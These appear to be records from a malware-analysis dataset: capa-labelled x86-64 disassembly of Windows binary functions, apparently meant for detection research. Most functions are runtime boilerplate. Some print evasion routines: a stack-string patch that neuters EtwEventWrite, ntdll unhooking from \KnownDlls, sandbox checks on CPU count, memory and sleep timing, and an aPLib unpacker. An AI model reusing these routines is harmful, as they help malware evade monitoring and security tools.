joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009410
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14000e880], rbx
je 0x14000945c
cmp rax, rbx
jne 0x14000944f
mov ebx, 1
mov esi, ebx
jmp 0x140009461
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009434
mov ebx, 1
mov eax, dword [0x14000e888]
cmp eax, ebx
jne 0x140009477
mov ecx, 0x1f
call fcn.14018a000
jmp 0x1400094dc
mov eax, dword [0x14000e888]
test eax, eax
jne 0x1400094d6
mov dword [0x14000e888], ebx
lea r15, [0x14000a4f8]
lea rdi, [0x14000a4e0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400094c8
test eax, eax
jne 0x1400094cc
cmp qword [rdi], 0
je 0x1400094bd
mov rax, qword [rdi]
mov rcx, qword [0x14000a4c0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000949e
test eax, eax
je 0x1400094dc
mov eax, 0xff
jmp 0x1400095b8
mov dword [0x14000c034], ebx
mov eax, dword [0x14000e888]
cmp eax, ebx
jne 0x140009503
lea rdx, [0x14000a4d8]
lea rcx, [0x14000a4c8]
call sub.msvcrt.dll__initterm
mov dword [0x14000e888], 2
test esi, esi
jne 0x140009510
xor eax, eax
xchg qword [0x14000e880], rax
cmp qword [0x14000e890], 0
je 0x140009544
lea rcx, [0x14000e890]
call fcn.1400097b0
test eax, eax
je 0x140009544
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14000e890]
mov r9, qword [0x14000a4c0]
call r9
mov r8, qword [0x14000c048]
mov rdx, qword [0x14000c040]
mov ecx, dword [0x14000c038]
call fcn.140001008
mov dword [0x14000c030], eax
cmp dword [0x14000c050], 0
jne 0x140009574
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000c034], 0
jne 0x140009589
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000c030]
jmp 0x1400095b8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140009844
add rsp, 0x28
jmp 0x140009410

Function at 0x1400096ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400096f8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400096f0
cmp dword [rcx + 0x3c], edx
jl 0x1400096f0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400096f0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400096f8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x100405ee0
Capabilities:
Encode data using xor

Disassembly:
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
Function at 0x14072c0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14072c237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14072c0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14072c0c7
add dl, dl
jne 0x14072c0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14072c14e
xor eax, eax
add dl, dl
jne 0x14072c0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14072c205
add dl, dl
jne 0x14072c10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14072c11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14072c128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14072c135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14072c142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14072c0d6
mov eax, 1
add dl, dl
jne 0x14072c15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14072c16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14072c153
sub eax, ebx
mov ebx, 1
jne 0x14072c1a4
mov ecx, 1
add dl, dl
jne 0x14072c186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14072c193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14072c17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14072c0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14072c1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14072c1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14072c1b5
cmp eax, 0x7d00
jae 0x14072c1f3
cmp eax, 0x500
jb 0x14072c1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14072c0d6
cmp eax, 0x7f
ja 0x14072c1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14072c0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14072c22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14072c0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001585
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x1400015b7
mov eax, 1
jmp 0x140001676
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rdx, qword [rbp - 0x28]
mov eax, 0x80000000
cmp rdx, rax
jae 0x1400015e6
mov eax, 1
jmp 0x140001676
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.1400014a4
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
movzx eax, word [rbp + 0x68]
mov word [rbp - 0x48], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140020150
mov r8, qword [0x1402930b8]
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x140001671
mov eax, 1
jmp 0x140001676
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x140001a55
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x18], 0
movabs rax, 0x746e657645777445
mov qword [rbp - 0x26], rax
movabs rax, 0x6574697257746e
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x2c], 0x6c64746e
mov word [rbp - 0x28], 0x6c
mov dword [rbp - 0x30], 0xc3c03348
lea rax, [rbp - 0x2c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x26]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140001b2c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.140001680
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 8]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0xf]
mov qword [rbp - 0x41], rax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.140020400
mov eax, 0
jmp 0x140001c5d
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140001bb9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.1400017ca
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp - 0x48], rax
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.140020310
mov eax, 0
jmp 0x140001c5d
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov ecx, dword [rbp - 0x18]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, ecx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], 0
jne 0x140001c58
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.1400018fc
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x40], rax
movzx eax, byte [rbp + 0x78]
mov byte [rbp - 0x38], al
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.1400205e0
mov eax, 0
jmp 0x140001c5d
mov eax, 1
add rsp, 0x118
pop rbx
pop rbp
ret
Function at 0x140001f0b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov word [rbp + 0x50], 0x5c
mov word [rbp + 0x52], 0x4b
mov word [rbp + 0x54], 0x6e
mov word [rbp + 0x56], 0x6f
mov word [rbp + 0x58], 0x77
mov word [rbp + 0x5a], 0x6e
mov word [rbp + 0x5c], 0x44
mov word [rbp + 0x5e], 0x6c
mov word [rbp + 0x60], 0x6c
mov word [rbp + 0x62], 0x73
mov word [rbp + 0x64], 0x5c
mov word [rbp + 0x66], 0x6e
mov word [rbp + 0x68], 0x74
mov word [rbp + 0x6a], 0x64
mov word [rbp + 0x6c], 0x6c
mov word [rbp + 0x6e], 0x6c
mov word [rbp + 0x70], 0x2e
mov word [rbp + 0x72], 0x64
mov word [rbp + 0x74], 0x6c
mov word [rbp + 0x76], 0x6c
mov word [rbp + 0x78], 0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x38], 0x40
lea rax, [rbp + 0x80]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov r9, qword [0x140293040]
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x18]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call r9
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jns 0x14000207a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x9f]
mov rcx, rax
call fcn.140001c68
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.1400204f0
mov eax, 0
jmp 0x14000216d
mov qword [rbp + 0x10], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x100], 0
mov r10, qword [0x140293038]
mov rax, qword [rbp + 0x18]
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rdx, 0xffffffffffffffff
mov rcx, rax
call r10
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jns 0x140002169
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0xcf]
mov rcx, rax
call fcn.140001dba
mov rax, qword [rbp + 0xd0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.1400204f0
mov eax, 0
jmp 0x14000216d
mov rax, qword [rbp + 0x10]
add rsp, 0x198
pop rbx
pop rbp
ret
Function at 0x140002229
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400022ae
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.140002178
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x68], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x60], eax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14001fdd0
mov eax, 0
jmp 0x1400023d6
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
mov rdx, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x48], 0
mov word [rbp - 0x22], 0
nop
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 0x22], ax
jae 0x1400023d4
mov dword [rbp - 0x4e], 0x7865742e
mov word [rbp - 0x4a], 0x74
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x4e]
mov rdx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400023cd
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x28], 0
jne 0x140002352
mov eax, 0
jmp 0x1400023d6
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov edx, dword [rbp - 0x48]
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x1400023cd
mov eax, 0
jmp 0x1400023d6
mov eax, 1
jmp 0x1400023d6
ud2
add rsp, 0x90
pop rbp
ret
Function at 0x140013820
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140019da0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140013890
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140293124]
test esi, esi
mov rbx, rcx
jle 0x1400139c0
mov rax, qword [0x140293128]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400138db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140013965
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400138c0
mov rcx, rbx
call fcn.140014300
test rax, rax
mov rdi, rax
je 0x1400139e2
mov rax, qword [0x140293128]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140014440
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140293128]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400139c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001395e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140013970
add dword [0x140293124], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140293128]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001395e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140013820
nop dword [rax]
xor esi, esi
jmp 0x1400138e8
mov rax, qword [0x140293128]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140013820
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140013820
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140013f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140293180]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140293160]
test rbx, rbx
je 0x140013fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140013fa3
test rsi, rsi
je 0x140013fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140013f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400141c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [str.LH__]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400141f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014200
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400141d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [str.LH__]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400141f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014200
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400141e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [str.LH__]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400141f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140014200
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140014300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14028aed0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140014320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140014328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140014320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001437d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140014374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140014320
add rax, 0x28
cmp rax, r9
jne 0x140014360
xor eax, eax
ret

Function at 0x140014380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14028aed0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001439f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400143a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001439f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140014440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14028aed0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001445f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140014468
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14001acb0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
mov qword [rsp + 0x20], rax
movabs rax, 0x7520676e696e6165
mov qword [rsp + 0x28], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x30], rax
movabs rax, 0x20726f6620737965
mov qword [rsp + 0x38], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x87], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14001adba
lea rcx, [rsp + 0x20]
mov eax, 0x28
jmp 0x14001ad92
add rax, 1
cmp rax, 0x6b
je 0x14001adaf
cmp byte [rcx + rax], 0
jne 0x14001ad88
cmp eax, 0x6a
movsxd rdx, eax
je 0x14001adaf
add eax, 1
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
lea rcx, [rsp + 0x20]
mov eax, 0x28
mov edx, 0x27
jmp 0x14001ada3

Function at 0x14001b130
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x140293c70], 1
je 0x14001b1a8
lea rdi, [0x140293c70]
mov rcx, rdi
call fcn.14001aa30
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call fcn.14001a3b0
mov esi, dword [0x140293c70]
test esi, esi
jne 0x14001b1b8
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x1402869f8], eax
je 0x14002dc46
mov dword [0x140293c70], 1
mov rcx, rbp
call fcn.14001a6a0
test rbx, rbx
je 0x14001b1a8
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.14001add0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x14001b188
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call fcn.140019e10
jmp 0x14001b188
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop